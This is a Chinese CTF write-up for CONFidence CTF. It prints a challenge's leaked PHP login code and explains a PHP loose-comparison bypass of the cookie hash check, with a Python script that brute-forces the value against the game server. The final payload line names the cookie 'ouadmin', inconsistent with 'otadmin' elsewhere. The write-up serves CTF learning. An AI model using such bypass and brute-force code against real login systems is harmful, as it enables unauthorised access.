0%

CONFidenceCTF wp

前言

这次比赛又跪了,枯了枯了

正文

My admin panel

题目链接
此题进入链接,就会看到两个文件:login.phplogin.php.bak,打开备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");

for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}

exit("\n");
}

display_admin();
  • 代码审计:
    需要我们传入cookie参数otadmin,此参数的格式必须是{"hash": "SHERLOCK592"}这样的json编码格式,然后他会进行解密看hash是否赋值,最后有一个php弱比较!=,这样这道题的思路就很清晰了,就是弱比较绕过,进入dispaly_admin()函数
  • 传参FUZZ:
    传入cookie otadmin={“hash”: “SHERLOCK592”}


    0006464640640064000646464640006400640640646400
    这串字符是与运算的结果,当ascii码小于64时返回0,当大于等于64时返回64,又因为时md5加密。所以我们可以知道,前三位肯定是0到9的数字。写个脚本进行三位数爆破
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import requests

    url = "https://gameserver.zajebistyc.tf/admin/login.php"
    s = requests.session()
    for i in range(10):
    for j in range(10):
    for k in range(10):
    headers = {
    'cookie':'otadmin={"hash": '+str(i)+str(j)+str(k)+'}'
    #str(i)+str(j)+str(k)
    }
    res = s.get(url,headers = headers)
    if "p4" in res.text:
    print(headers)
    print(res.text)
    else:
    print("emmmmmmmmmmmm")
  • 最后:
    payload
    1
    ouadmin={"hash": 389}

web 50

链接
这道题的考点其实在这个月月初p神就在知识星球里说过了,但是当时没有仔细去看,现在有些后悔啊,不过这道题是非预期的,需要有当地的服务器进行操作
放个国外老哥的writeup,就不多做介绍,我还是乖乖的滚回去学习缓存投毒吧
wp

总结

这次ctf也不算太失败,除了做不出题来很难受以外。最开始认为web50是csrf,然后学习了一天的csrf,还是有些收获的。现在知道是xss的缓存投毒,新的一波学习向我扑面而来,共勉!!!